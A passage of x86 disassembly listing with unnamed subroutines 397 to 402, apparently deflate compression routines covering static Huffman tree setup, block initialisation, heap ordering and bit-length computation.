08066930  74 2f                   je     08066961 <Unknown0397+0x1f1>
08066932  6a 00                   push   $0x0
08066934  8b 46 60                mov    0x60(%esi),%eax
08066937  2b 46 50                sub    0x50(%esi),%eax
0806693a  50                      push   %eax
0806693b  8b 46 50                mov    0x50(%esi),%eax
0806693e  31 d2                   xor    %edx,%edx
08066940  85 c0                   test   %eax,%eax
08066942  78 05                   js     08066949 <Unknown0397+0x1d9>
08066944  8b 56 2c                mov    0x2c(%esi),%edx
08066947  01 c2                   add    %eax,%edx
08066949  52                      push   %edx
0806694a  56                      push   %esi
0806694b  e8 04 16 00 00          call   08067f54 <Unknown0417>
08066950  8b 46 60                mov    0x60(%esi),%eax
08066953  89 46 50                mov    %eax,0x50(%esi)
08066956  58                      pop    %eax
08066957  ff 36                   pushl  (%esi)
08066959  e8 5e f3 ff ff          call   08065cbc <Unknown0387>
0806695e  83 c4 10                add    $0x10,%esp
08066961  ff 46 60                incl   0x60(%esi)
08066964  ff 4e 68                decl   0x68(%esi)
08066967  8b 06                   mov    (%esi),%eax
08066969  8b 58 10                mov    0x10(%eax),%ebx
0806696c  85 db                   test   %ebx,%ebx
0806696e  75 15                   jne    08066985 <Unknown0397+0x215>
08066970  31 c0                   xor    %eax,%eax
08066972  e9 c6 00 00 00          jmp    08066a3d <Unknown0397+0x2cd>   ;198 'xc6 x0 x0 x0' ""
08066977  90                      nop
08066978  c7 46 5c 01 00 00 00    movl   $0x1,0x5c(%esi)   ;1 'x1 x0 x0 x0' ""
0806697f  ff 46 60                incl   0x60(%esi)
08066982  ff 4e 68                decl   0x68(%esi)
08066985  8b 56 68                mov    0x68(%esi),%edx
08066988  81 fa 05 01 00 00       cmp    $0x105,%edx   ;261 'x5 x1 x0 x0' ""
0806698e  0f 87 f0 fd ff ff       ja     08066784 <Unknown0397+0x14>   ;-528 'xf0 xfd xff xff' ""
08066994  83 ec 0c                sub    $0xc,%esp
08066997  56                      push   %esi
08066998  e8 33 f9 ff ff          call   080662d0 <Unknown0394>
0806699d  8b 46 68                mov    0x68(%esi),%eax
080669a0  83 c4 10                add    $0x10,%esp
080669a3  3d 05 01 00 00          cmp    $0x105,%eax   ;261 'x5 x1 x0 x0' ""
080669a8  89 c2                   mov    %eax,%edx
080669aa  77 07                   ja     080669b3 <Unknown0397+0x243>
080669ac  8b 4d 0c                mov    0xc(%ebp),%ecx
080669af  85 c9                   test   %ecx,%ecx
080669b1  74 bd                   je     08066970 <Unknown0397+0x200>
080669b3  85 c0                   test   %eax,%eax
080669b5  0f 85 c9 fd ff ff       jne    08066784 <Unknown0397+0x14>   ;-567 'xc9 xfd xff xff' ""
080669bb  8b 5e 5c                mov    0x5c(%esi),%ebx
080669be  85 db                   test   %ebx,%ebx
080669c0  74 1e                   je     080669e0 <Unknown0397+0x270>
080669c2  51                      push   %ecx
080669c3  8b 46 60                mov    0x60(%esi),%eax
080669c6  03 46 2c                add    0x2c(%esi),%eax
080669c9  0f b6 40 ff             movzbl 0xffffffff(%eax),%eax
080669cd  50                      push   %eax
080669ce  6a 00                   push   $0x0
080669d0  56                      push   %esi
080669d1  e8 ae 17 00 00          call   08068184 <Unknown0418>
080669d6  83 c4 10                add    $0x10,%esp
080669d9  c7 46 5c 00 00 00 00    movl   $0x0,0x5c(%esi)   ;0 'x0 x0 x0 x0' ""
080669e0  31 c0                   xor    %eax,%eax
080669e2  83 7d 0c 04             cmpl   $0x4,0xc(%ebp)
080669e6  0f 94 c0                sete   %al
080669e9  50                      push   %eax
080669ea  8b 46 60                mov    0x60(%esi),%eax
080669ed  2b 46 50                sub    0x50(%esi),%eax
080669f0  50                      push   %eax
080669f1  8b 46 50                mov    0x50(%esi),%eax
080669f4  31 d2                   xor    %edx,%edx
```

```
080669f6  85 c0                    test   %eax,%eax
080669f8  78 05                    js     080669ff <Unknown0397+0x28f>
080669fa  8b 56 2c                 mov    0x2c(%esi),%edx
080669fd  01 c2                    add    %eax,%edx
080669ff  52                       push   %edx
08066a00  56                       push   %esi
08066a01  e8 4e 15 00 00           call   08067f54 <Unknown0417>
08066a06  8b 46 60                 mov    0x60(%esi),%eax
08066a09  89 46 50                 mov    %eax,0x50(%esi)
08066a0c  5a                       pop    %edx
08066a0d  ff 36                    pushl  (%esi)
08066a0f  e8 a8 f2 ff ff           call   08065cbc <Unknown0387>
08066a14  8b 06                    mov    (%esi),%eax
08066a16  8b 40 10                 mov    0x10(%eax),%eax
08066a19  83 c4 10                 add    $0x10,%esp
08066a1c  85 c0                    test   %eax,%eax
08066a1e  75 10                    jne    08066a30 <Unknown0397+0x2c0>
08066a20  31 c0                    xor    %eax,%eax
08066a22  83 7d 0c 04              cmpl   $0x4,0xc(%ebp)
08066a26  0f 94 c0                 sete   %al
08066a29  d1 e0                    shl    %eax
08066a2b  eb 10                    jmp    08066a3d <Unknown0397+0x2cd>
08066a2d  8d 76 00                 lea    0x0(%esi),%esi
08066a30  31 c0                    xor    %eax,%eax
08066a32  83 7d 0c 04              cmpl   $0x4,0xc(%ebp)
08066a36  0f 94 c0                 sete   %al
08066a39  8d 44 00 01              lea    0x1(%eax,%eax,1),%eax
08066a3d  8d 65 f4                 lea    0xfffffff4(%ebp),%esp
08066a40  5b                       pop    %ebx
08066a41  5e                       pop    %esi
08066a42  5f                       pop    %edi
08066a43  5d                       pop    %ebp
08066a44  c3                       ret
08066a45  8d 76 00                 lea    0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 398 >--------------------<
  ;
08066a48 <Unknown0398>:
08066a48  55                       push   %ebp
08066a49  89 e5                    mov    %esp,%ebp
08066a4b  57                       push   %edi
08066a4c  56                       push   %esi
08066a4d  53                       push   %ebx
08066a4e  8b 15 9c 95 07 08        mov    0x807959c,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
08066a54  83 ec 3c                 sub    $0x3c,%esp
08066a57  85 d2                    test   %edx,%edx
08066a59  0f 85 df 01 00 00        jne    08066c3e <Unknown0398+0x1f6>  ;479 'xdf x1 x0 x0' ""
08066a5f  31 d2                    xor    %edx,%edx
08066a61  31 f6                    xor    %esi,%esi
08066a63  31 ff                    xor    %edi,%edi
08066a65  8d 76 00                 lea    0x0(%esi),%esi
08066a68  8b 8f 00 94 07 08        mov    0x8079400(%edi),%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08066a6e  b8 01 00 00 00           mov    $0x1,%eax  ;1 'x1 x0 x0 x0' ""
08066a73  d3 e0                    shl    %cl,%eax
08066a75  85 c0                    test   %eax,%eax
08066a77  89 97 a0 c9 07 08        mov    %edx,0x807c9a0(%edi)  ;[in .bss] 114515 'x53 xbf x1 x0' "S"
08066a7d  7e 12                    jle    08066a91 <Unknown0398+0x49>
08066a7f  b9 a0 c8 07 08           mov    $0x807c8a0,%ecx  ;[in .bss] 2020278271 'xff xff x6a x78' ""
08066a84  89 c3                    mov    %eax,%ebx
08066a86  89 f6                    mov    %esi,%esi
08066a88  89 f0                    mov    %esi,%eax
08066a8a  88 04 0a                 mov    %al,(%edx,%ecx,1)
08066a8d  42                       inc    %edx
08066a8e  4b                       dec    %ebx
08066a8f  75 f7                    jne    08066a88 <Unknown0398+0x40>
08066a91  46                       inc    %esi
08066a92  83 c7 04                 add    $0x4,%edi
08066a95  83 fe 1b                 cmp    $0x1b,%esi
08066a98  7e ce                    jle    08066a68 <Unknown0398+0x20>
08066a9a  89 f1                    mov    %esi,%ecx
08066a9c  88 8a 9f c8 07 08        mov    %cl,0x807c89f(%edx)  ;[in .bss] 1795162103 'xf7 xff xff x6a' ""
08066aa2  c7 45 c4 00 00 00 00     movl   $0x0,0xffffffc4(%ebp)  ;0 'x0 x0 x0 x0' ""
08066aa9  31 f6                    xor    %esi,%esi
08066aab  31 ff                    xor    %edi,%edi
08066aad  8d 76 00                 lea    0x0(%esi),%esi
08066ab0  8b 45 c4                 mov    0xffffffc4(%ebp),%eax
08066ab3  89 87 20 ca 07 08        mov    %eax,0x807ca20(%edi)  ;[in .bss] 2084852539 'x3b x53 x44 x7c'
                                                                 ";SD|"
08066ab9  8b 8f 80 94 07 08        mov    0x8079480(%edi),%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08066abf  b8 01 00 00 00           mov    $0x1,%eax  ;1 'x1 x0 x0 x0' ""
08066ac4  d3 e0                    shl    %cl,%eax
08066ac6  85 c0                    test   %eax,%eax
```

```
08066ac8  7e 19              jle     08066ae3 <Unknown0398+0x9b>
08066aca  ba a0 c6 07 08     mov     $0x807c6a0,%edx  ;[in .bss] -1053224891 'x45 x10 x39 xc1' "E"
08066acf  89 c3              mov     %eax,%ebx
08066ad1  8d 76 00           lea     0x0(%esi),%esi
08066ad4  8b 45 c4           mov     0xffffffc4(%ebp),%eax
08066ad7  89 f1              mov     %esi,%ecx
08066ad9  88 0c 10           mov     %cl,(%eax,%edx,1)
08066adc  40                 inc     %eax
08066add  4b                 dec     %ebx
08066ade  89 45 c4           mov     %eax,0xffffffc4(%ebp)
08066ae1  75 f1              jne     08066ad4 <Unknown0398+0x8c>
08066ae3  46                 inc     %esi
08066ae4  83 c7 04           add     $0x4,%edi
08066ae7  83 fe 0f           cmp     $0xf,%esi
08066aea  7e c4              jle     08066ab0 <Unknown0398+0x68>
08066aec  c1 7d c4 07        sarl    $0x7,0xffffffc4(%ebp)
08066af0  83 fe 1d           cmp     $0x1d,%esi
08066af3  7f 51              jg      08066b46 <Unknown0398+0xfe>
08066af5  8b 55 c4           mov     0xffffffc4(%ebp),%edx
08066af8  8d 3c b5 00 00 00 00  lea   0x0(,%esi,4),%edi  ;0 'x0 x0 x0 x0' ""
08066aff  c1 e2 07           shl     $0x7,%edx
08066b02  89 f6              mov     %esi,%esi
08066b04  8b 8f 80 94 07 08  mov     0x8079480(%edi),%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08066b0a  83 e9 07           sub     $0x7,%ecx
08066b0d  b8 01 00 00 00     mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
08066b12  d3 e0              shl     %cl,%eax
08066b14  85 c0              test    %eax,%eax
08066b16  89 97 20 ca 07 08  mov     %edx,0x807ca20(%edi)  ;[in .bss] 2084852539 'x3b x53 x44 x7c'
                                                               ";SD|"
08066b1c  7e 1f              jle     08066b3d <Unknown0398+0xf5>
08066b1e  89 c3              mov     %eax,%ebx
08066b20  8b 45 c4           mov     0xffffffc4(%ebp),%eax
08066b23  05 a0 c7 07 08     add     $0x807c7a0,%eax  ;[in .bss] -1879048191 'x1 x0 x0 x90' ""
08066b28  89 f1              mov     %esi,%ecx
08066b2a  88 08              mov     %cl,(%eax)
08066b2c  ff 45 c4           incl    0xffffffc4(%ebp)
08066b2f  8b 45 c4           mov     0xffffffc4(%ebp),%eax
08066b32  83 ea 80           sub     $0xffffff80,%edx
08066b35  05 a0 c7 07 08     add     $0x807c7a0,%eax  ;[in .bss] -1879048191 'x1 x0 x0 x90' ""
08066b3a  4b                 dec     %ebx
08066b3b  75 eb              jne     08066b28 <Unknown0398+0xe0>
08066b3d  46                 inc     %esi
08066b3e  83 c7 04           add     $0x4,%edi
08066b41  83 fe 1d           cmp     $0x1d,%esi
08066b44  7e be              jle     08066b04 <Unknown0398+0xbc>
08066b46  ba 0f 00 00 00     mov     $0xf,%edx  ;15 'xf x0 x0 x0' ""
08066b4b  8d 45 e6           lea     0xffffffe6(%ebp),%eax
08066b4e  89 f6              mov     %esi,%esi
08066b50  66 c7 00 00 00     movw    $0x0,(%eax)
08066b55  83 e8 02           sub     $0x2,%eax
08066b58  4a                 dec     %edx
08066b59  79 f5              jns     08066b50 <Unknown0398+0x108>
08066b5b  31 db              xor     %ebx,%ebx
08066b5d  ba a2 c1 07 08     mov     $0x807c1a2,%edx  ;[in .bss] 140348176 'x10 x8b x5d x8' ""
08066b62  8b 45 d8           mov     0xffffffd8(%ebp),%eax
08066b65  8d 76 00           lea     0x0(%esi),%esi
08066b68  66 c7 04 9a 08 00  movw    $0x8,(%edx,%ebx,4)
08066b6e  43                 inc     %ebx
08066b6f  40                 inc     %eax
08066b70  81 fb 8f 00 00 00  cmp     $0x8f,%ebx  ;143 'x8f x0 x0 x0' ""
08066b76  7e f0              jle     08066b68 <Unknown0398+0x120>
08066b78  81 fb ff 00 00 00  cmp     $0xff,%ebx  ;255 'xff x0 x0 x0' ""
08066b7e  66 89 45 d8        mov     %ax,0xffffffd8(%ebp)
08066b82  7f 20              jg      08066ba4 <Unknown0398+0x15c>
08066b84  ba a2 c1 07 08     mov     $0x807c1a2,%edx  ;[in .bss] 140348176 'x10 x8b x5d x8' ""
08066b89  66 8b 45 da        mov     0xffffffda(%ebp),%ax
08066b8d  8d 76 00           lea     0x0(%esi),%esi
08066b90  66 c7 04 9a 09 00  movw    $0x9,(%edx,%ebx,4)
08066b96  43                 inc     %ebx
08066b97  40                 inc     %eax
08066b98  81 fb ff 00 00 00  cmp     $0xff,%ebx  ;255 'xff x0 x0 x0' ""
08066b9e  7e f0              jle     08066b90 <Unknown0398+0x148>
08066ba0  66 89 45 da        mov     %ax,0xffffffda(%ebp)
08066ba4  81 fb 17 01 00 00  cmp     $0x117,%ebx  ;279 'x17 x1 x0 x0' ""
08066baa  7f 20              jg      08066bcc <Unknown0398+0x184>
08066bac  ba a2 c1 07 08     mov     $0x807c1a2,%edx  ;[in .bss] 140348176 'x10 x8b x5d x8' ""
08066bb1  66 8b 45 d6        mov     0xffffffd6(%ebp),%ax
08066bb5  8d 76 00           lea     0x0(%esi),%esi
08066bb8  66 c7 04 9a 07 00  movw    $0x7,(%edx,%ebx,4)
08066bbe  43                 inc     %ebx
08066bbf  40                 inc     %eax
08066bc0  81 fb 17 01 00 00  cmp     $0x117,%ebx  ;279 'x17 x1 x0 x0' ""
08066bc6  7e f0              jle     08066bb8 <Unknown0398+0x170>
08066bc8  66 89 45 d6        mov     %ax,0xffffffd6(%ebp)
```

```
08066bcc   81 fb 1f 01 00 00        cmp     $0x11f,%ebx  ;287 'x1f x1 x0 x0' ""
08066bd2   7f 1c                    jg      08066bf0 <Unknown0398+0x1a8>
08066bd4   ba a2 c1 07 08           mov     $0x807c1a2,%edx  ;[in .bss] 140348176 'x10 x8b x5d x8' ""
08066bd9   8b 45 d8                 mov     0xffffffd8(%ebp),%eax
08066bdc   66 c7 04 9a 08 00        movw    $0x8,(%edx,%ebx,4)
08066be2   43                       inc     %ebx
08066be3   40                       inc     %eax
08066be4   81 fb 1f 01 00 00        cmp     $0x11f,%ebx  ;287 'x1f x1 x0 x0' ""
08066bea   7e f0                    jle     08066bdc <Unknown0398+0x194>
08066bec   66 89 45 d8              mov     %ax,0xffffffd8(%ebp)
08066bf0   50                       push    %eax
08066bf1   8d 45 c8                 lea     0xffffffc8(%ebp),%eax
08066bf4   50                       push    %eax
08066bf5   68 1f 01 00 00           push    $0x11f  ;287 'x1f x1 x0 x0' ""
08066bfa   68 a0 c1 07 08           push    $0x807c1a0  ;[in .bss] -1961863797 'x8b x55 x10 x8b' ""
08066bff   e8 3c 04 00 00           call    08067040 <Unknown0403>
08066c04   31 db                    xor     %ebx,%ebx
08066c06   83 c4 10                 add     $0x10,%esp
08066c09   bf 22 c6 07 08           mov     $0x807c622,%edi   ;[in .bss] 2086757998 'x6e x66 x61 x7c' "nfa|"
08066c0e   31 f6                    xor     %esi,%esi
08066c10   83 ec 08                 sub     $0x8,%esp
08066c13   66 c7 04 37 05 00        movw    $0x5,(%edi,%esi,1)
08066c19   6a 05                    push    $0x5
08066c1b   53                       push    %ebx
08066c1c   e8 ff 1a 00 00           call    08068720 <Unknown0421>
08066c21   43                       inc     %ebx
08066c22   66 89 86 20 c6 07 08     mov     %ax,0x807c620(%esi)   ;[in .bss] 1718511468 'x6c x67 x6e x66'
                                                                        "lgnfa|"
08066c29   83 c4 10                 add     $0x10,%esp
08066c2c   83 c6 04                 add     $0x4,%esi
08066c2f   83 fb 1d                 cmp     $0x1d,%ebx
08066c32   7e dc                    jle     08066c10 <Unknown0398+0x1c8>
08066c34   c7 05 9c 95 07 08 01 00 00 00   movl    $0x1,0x807959c  ;1 'x1 x0 x0 x0' ""
08066c3e   8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08066c41   5b                       pop     %ebx
08066c42   5e                       pop     %esi
08066c43   5f                       pop     %edi
08066c44   5d                       pop     %ebp
08066c45   c3                       ret
08066c46   89 f6                    mov     %esi,%esi


   ;
   ; >---------------------< Subroutine # 399 >---------------------<
   ;
08066c48 <Unknown0399>:
08066c48   55                       push    %ebp
08066c49   89 e5                    mov     %esp,%ebp
08066c4b   53                       push    %ebx
08066c4c   51                       push    %ecx
08066c4d   8b 5d 08                 mov     0x8(%ebp),%ebx
08066c50   e8 f3 fd ff ff           call    08066a48 <Unknown0398>
08066c55   8d 83 88 00 00 00        lea     0x88(%ebx),%eax   ;136 'x88 x0 x0 x0' ""
08066c5b   89 83 0c 0b 00 00        mov     %eax,0xb0c(%ebx)  ;2828 'xc xb x0 x0' ""
08066c61   8d 83 7c 09 00 00        lea     0x97c(%ebx),%eax   ;2428 'x7c x9 x0 x0' "|"
08066c67   89 83 18 0b 00 00        mov     %eax,0xb18(%ebx)   ;2840 'x18 xb x0 x0' ""
08066c6d   8d 83 70 0a 00 00        lea     0xa70(%ebx),%eax   ;2672 'x70 xa x0 x0' "p"
08066c73   c7 83 a4 16 00 00 00 00 00 00   movl    $0x0,0x16a4(%ebx)   ;0 'x0 x0 x0 x0' ""
08066c7d   c7 83 14 0b 00 00 60 95 07 08   movl    $0x8079560,0xb14(%ebx)   ;[in .data] 134726048 'xa0 xc1 x7
                                                                            x8' ""
08066c87   c7 83 20 0b 00 00 74 95 07 08   movl    $0x8079574,0xb20(%ebx)   ;[in .data] 134727200 'x20 xc6 x7
                                                                            x8' " "
08066c91   89 83 24 0b 00 00        mov     %eax,0xb24(%ebx)   ;2852 'x24 xb x0 x0' "$"
08066c97   c7 83 2c 0b 00 00 88 95 07 08   movl    $0x8079588,0xb2c(%ebx)   ;[in .data] 0 'x0 x0 x0 x0' ""
08066ca1   66 c7 83 b0 16 00 00 00 00   movw    $0x0,0x16b0(%ebx)   ;5808 'xb0 x16 x0 x0' ""
08066caa   c7 83 b4 16 00 00 00 00 00 00   movl    $0x0,0x16b4(%ebx)   ;0 'x0 x0 x0 x0' ""
08066cb4   c7 83 ac 16 00 00 08 00 00 00   movl    $0x8,0x16ac(%ebx)   ;8 'x8 x0 x0 x0' ""
08066cbe   89 5d 08                 mov     %ebx,0x8(%ebp)
08066cc1   8b 5d fc                 mov     0xfffffffc(%ebp),%ebx
08066cc4   c9                       leave
08066cc5   eb 01                    jmp     08066cc8 <Unknown0400>
08066cc7   90                       nop


   ;
   ; >---------------------< Subroutine # 400 >---------------------<
   ;
08066cc8 <Unknown0400>:
08066cc8   55                       push    %ebp
08066cc9   89 e5                    mov     %esp,%ebp
08066ccb   8b 4d 08                 mov     0x8(%ebp),%ecx
08066cce   ba 1d 01 00 00           mov     $0x11d,%edx  ;285 'x1d x1 x0 x0' ""
08066cd3   8d 81 fc 04 00 00        lea     0x4fc(%ecx),%eax   ;1276 'xfc x4 x0 x0' ""
08066cd9   8d 76 00                 lea     0x0(%esi),%esi
```

```
08066cdc   66 c7 00 00 00            movw    $0x0,(%eax)
08066ce1   83 e8 04                  sub     $0x4,%eax
08066ce4   4a                        dec     %edx
08066ce5   79 f5                     jns     08066cdc <Unknown0400+0x14>
08066ce7   ba 1d 00 00 00            mov     $0x1d,%edx   ;29 'x1d x0 x0 x0' ""
08066cec   8d 81 f0 09 00 00         lea     0x9f0(%ecx),%eax   ;2544 'xf0 x9 x0 x0' ""
08066cf2   89 f6                     mov     %esi,%esi
08066cf4   66 c7 00 00 00            movw    $0x0,(%eax)
08066cf9   83 e8 04                  sub     $0x4,%eax
08066cfc   4a                        dec     %edx
08066cfd   79 f5                     jns     08066cf4 <Unknown0400+0x2c>
08066cff   ba 12 00 00 00            mov     $0x12,%edx   ;18 'x12 x0 x0 x0' ""
08066d04   8d 81 b8 0a 00 00         lea     0xab8(%ecx),%eax   ;2744 'xb8 xa x0 x0' ""
08066d0a   89 f6                     mov     %esi,%esi
08066d0c   66 c7 00 00 00            movw    $0x0,(%eax)
08066d11   83 e8 04                  sub     $0x4,%eax
08066d14   4a                        dec     %edx
08066d15   79 f5                     jns     08066d0c <Unknown0400+0x44>
08066d17   66 c7 81 88 04 00 00 01 00  movw  $0x1,0x488(%ecx)   ;1160 'x88 x4 x0 x0' ""
08066d20   c7 81 a0 16 00 00 00 00 00 00  movl $0x0,0x16a0(%ecx)   ;0 'x0 x0 x0 x0' ""
08066d2a   c7 81 9c 16 00 00 00 00 00 00  movl $0x0,0x169c(%ecx)   ;0 'x0 x0 x0 x0' ""
08066d34   c7 81 a8 16 00 00 00 00 00 00  movl $0x0,0x16a8(%ecx)   ;0 'x0 x0 x0 x0' ""
08066d3e   c7 81 94 16 00 00 00 00 00 00  movl $0x0,0x1694(%ecx)   ;0 'x0 x0 x0 x0' ""
08066d48   5d                        pop     %ebp
08066d49   c3                        ret
08066d4a   89 f6                     mov     %esi,%esi


   ;
   ; >----------------------<   Subroutine # 401 >----------------------<
   ;
08066d4c <Unknown0401>:
08066d4c   55                        push    %ebp
08066d4d   89 e5                     mov     %esp,%ebp
08066d4f   57                        push    %edi
08066d50   56                        push    %esi
08066d51   53                        push    %ebx
08066d52   83 ec 0c                  sub     $0xc,%esp
08066d55   8b 55 08                  mov     0x8(%ebp),%edx
08066d58   8b 45 10                  mov     0x10(%ebp),%eax
08066d5b   8b 84 82 50 0b 00 00      mov     0xb50(%edx,%eax,4),%eax   ;2896 'x50 xb x0 x0' "P"
08066d62   89 45 f0                  mov     %eax,0xfffffff0(%ebp)
08066d65   8b 5d 10                  mov     0x10(%ebp),%ebx
08066d68   d1 e3                     shl     %ebx
08066d6a   8b 82 44 14 00 00         mov     0x1444(%edx),%eax   ;5188 'x44 x14 x0 x0' "D"
08066d70   39 c3                     cmp     %eax,%ebx
08066d72   0f 8f ae 00 00 00         jg      08066e26 <Unknown0401+0xda>   ;174 'xae x0 x0 x0' ""
08066d78   8b 4d f0                  mov     0xfffffff0(%ebp),%ecx
08066d7b   89 d7                     mov     %edx,%edi
08066d7d   81 c1 40 14 00 00         add     $0x1440,%ecx   ;5184 'x40 x14 x0 x0' "@"
08066d83   83 c7 0c                  add     $0xc,%edi
08066d86   89 4d ec                  mov     %ecx,0xffffffec(%ebp)
08066d89   8d 76 00                  lea     0x0(%esi),%esi
08066d8c   39 c3                     cmp     %eax,%ebx
08066d8e   7d 42                     jge     08066dd2 <Unknown0401+0x86>
08066d90   8d 04 9d 00 00 00 00      lea     0x0(,%ebx,4),%eax   ;0 'x0 x0 x0 x0' ""
08066d97   8b 55 08                  mov     0x8(%ebp),%edx
08066d9a   8b 8c 02 50 0b 00 00      mov     0xb50(%edx,%eax,1),%ecx   ;2896 'x50 xb x0 x0' "P"
08066da1   8b b4 02 54 0b 00 00      mov     0xb54(%edx,%eax,1),%esi   ;2900 'x54 xb x0 x0' "T"
08066da8   8b 45 0c                  mov     0xc(%ebp),%eax
08066dab   66 8b 14 b0               mov     (%eax,%esi,4),%dx
08066daf   66 8b 04 88               mov     (%eax,%ecx,4),%ax
08066db3   66 39 c2                  cmp     %ax,%dx
08066db6   66 89 45 ea               mov     %ax,0xffffffea(%ebp)
08066dba   72 15                     jb      08066dd1 <Unknown0401+0x85>
08066dbc   66 39 c2                  cmp     %ax,%dx
08066dbf   75 11                     jne     08066dd2 <Unknown0401+0x86>
08066dc1   8a 84 0f 40 14 00 00      mov     0x1440(%edi,%ecx,1),%al   ;5184 'x40 x14 x0 x0' "@"
08066dc8   38 84 37 40 14 00 00      cmp     %al,0x1440(%edi,%esi,1)   ;5184 'x40 x14 x0 x0' "@"
08066dcf   77 01                     ja      08066dd2 <Unknown0401+0x86>
08066dd1   43                        inc     %ebx
08066dd2   8b 55 08                  mov     0x8(%ebp),%edx
08066dd5   8b 8c 9a 50 0b 00 00      mov     0xb50(%edx,%ebx,4),%ecx   ;2896 'x50 xb x0 x0' "P"
08066ddc   8b 45 0c                  mov     0xc(%ebp),%eax
08066ddf   8b 75 f0                  mov     0xfffffff0(%ebp),%esi
08066de2   66 8b 14 b0               mov     (%eax,%esi,4),%dx
08066de6   66 8b 04 88               mov     (%eax,%ecx,4),%ax
08066dea   66 39 c2                  cmp     %ax,%dx
08066ded   72 37                     jb      08066e26 <Unknown0401+0xda>
08066def   66 39 c2                  cmp     %ax,%dx
08066df2   75 0f                     jne     08066e03 <Unknown0401+0xb7>
08066df4   8a 84 0f 40 14 00 00      mov     0x1440(%edi,%ecx,1),%al   ;5184 'x40 x14 x0 x0' "@"
08066dfb   8b 55 ec                  mov     0xffffffec(%ebp),%edx
08066dfe   38 04 3a                  cmp     %al,(%edx,%edi,1)
```

```
08066e01  76 23                    jbe     08066e26 <Unknown0401+0xda>
08066e03  8b 75 10                 mov     0x10(%ebp),%esi
08066e06  8b 45 08                 mov     0x8(%ebp),%eax
08066e09  89 8c b0 50 0b 00 00     mov     %ecx,0xb50(%eax,%esi,4)   ;2896 'x50 xb x0 x0' "P"
08066e10  8b 55 08                 mov     0x8(%ebp),%edx
08066e13  89 5d 10                 mov     %ebx,0x10(%ebp)
08066e16  8b 82 44 14 00 00        mov     0x1444(%edx),%eax   ;5188 'x44 x14 x0 x0' "D"
08066e1c  d1 e3                    shl     %ebx
08066e1e  39 c3                    cmp     %eax,%ebx
08066e20  0f 8e 66 ff ff ff        jle     08066d8c <Unknown0401+0x40>   ;-154 'x66 xff xff xff' "f"
08066e26  8b 75 f0                 mov     0xfffffff0(%ebp),%esi
08066e29  8b 4d 10                 mov     0x10(%ebp),%ecx
08066e2c  8b 45 08                 mov     0x8(%ebp),%eax
08066e2f  89 b4 88 50 0b 00 00     mov     %esi,0xb50(%eax,%ecx,4)   ;2896 'x50 xb x0 x0' "P"
08066e36  83 c4 0c                 add     $0xc,%esp
08066e39  5b                       pop     %ebx
08066e3a  5e                       pop     %esi
08066e3b  5f                       pop     %edi
08066e3c  5d                       pop     %ebp
08066e3d  c3                       ret
08066e3e  89 f6                    mov     %esi,%esi


   ;
   ; >--------------------<  Subroutine # 402 >--------------------<
   ;
08066e40 <Unknown0402>:
08066e40  55                       push    %ebp
08066e41  89 e5                    mov     %esp,%ebp
08066e43  57                       push    %edi
08066e44  56                       push    %esi
08066e45  53                       push    %ebx
08066e46  83 ec 30                 sub     $0x30,%esp
08066e49  8b 55 0c                 mov     0xc(%ebp),%edx
08066e4c  8b 02                    mov     (%edx),%eax
08066e4e  89 45 f0                 mov     %eax,0xfffffff0(%ebp)
08066e51  8b 42 04                 mov     0x4(%edx),%eax
08066e54  89 45 ec                 mov     %eax,0xffffffec(%ebp)
08066e57  8b 52 08                 mov     0x8(%edx),%edx
08066e5a  8b 02                    mov     (%edx),%eax
08066e5c  89 45 e8                 mov     %eax,0xffffffe8(%ebp)
08066e5f  8b 42 04                 mov     0x4(%edx),%eax
08066e62  89 45 e4                 mov     %eax,0xffffffe4(%ebp)
08066e65  8b 42 08                 mov     0x8(%edx),%eax
08066e68  89 45 e0                 mov     %eax,0xffffffe0(%ebp)
08066e6b  8b 42 10                 mov     0x10(%edx),%eax
08066e6e  89 45 dc                 mov     %eax,0xffffffdc(%ebp)
08066e71  8b 45 08                 mov     0x8(%ebp),%eax
08066e74  c7 45 d4 00 00 00 00     movl    $0x0,0xffffffd4(%ebp)   ;0 'x0 x0 x0 x0' ""
08066e7b  be 0f 00 00 00           mov     $0xf,%esi   ;15 'xf x0 x0 x0' ""
08066e80  05 4e 0b 00 00           add     $0xb4e,%eax   ;2894 'x4e xb x0 x0' "N"
08066e85  8d 76 00                 lea     0x0(%esi),%esi
08066e88  66 c7 00 00 00           movw    $0x0,(%eax)
08066e8d  83 e8 02                 sub     $0x2,%eax
08066e90  4e                       dec     %esi
08066e91  79 f5                    jns     08066e88 <Unknown0402+0x48>
08066e93  8b 55 08                 mov     0x8(%ebp),%edx
08066e96  8b 82 48 14 00 00        mov     0x1448(%edx),%eax   ;5192 'x48 x14 x0 x0' "H"
08066e9c  8b 84 82 50 0b 00 00     mov     0xb50(%edx,%eax,4),%eax   ;2896 'x50 xb x0 x0' "P"
08066ea3  8b 4d f0                 mov     0xfffffff0(%ebp),%ecx
08066ea6  66 c7 44 81 02 00 00     movw    $0x0,0x2(%ecx,%eax,4)
08066ead  8b 82 48 14 00 00        mov     0x1448(%edx),%eax   ;5192 'x48 x14 x0 x0' "H"
08066eb3  40                       inc     %eax
08066eb4  3d 3c 02 00 00           cmp     $0x23c,%eax   ;572 'x3c x2 x0 x0' "<"
08066eb9  89 45 d8                 mov     %eax,0xffffffd8(%ebp)
08066ebc  0f 8f 9d 00 00 00        jg      08066f5f <Unknown0402+0x11f>   ;157 'x9d x0 x0 x0' ""
08066ec2  8d 94 82 50 0b 00 00     lea     0xb50(%edx,%eax,4),%edx   ;2896 'x50 xb x0 x0' "P"
08066ec9  89 55 cc                 mov     %edx,0xffffffcc(%ebp)
08066ecc  8b 4d cc                 mov     0xffffffcc(%ebp),%ecx
08066ecf  8b 55 f0                 mov     0xfffffff0(%ebp),%edx
08066ed2  8b 19                    mov     (%ecx),%ebx
08066ed4  0f b7 44 9a 02           movzwl  0x2(%edx,%ebx,4),%eax
08066ed9  0f b7 44 82 02           movzwl  0x2(%edx,%eax,4),%eax
08066ede  8d 70 01                 lea     0x1(%eax),%esi
08066ee1  3b 75 dc                 cmp     0xffffffdc(%ebp),%esi
08066ee4  7e 06                    jle     08066eec <Unknown0402+0xac>
08066ee6  8b 75 dc                 mov     0xffffffdc(%ebp),%esi
08066ee9  ff 45 d4                 incl    0xffffffd4(%ebp)
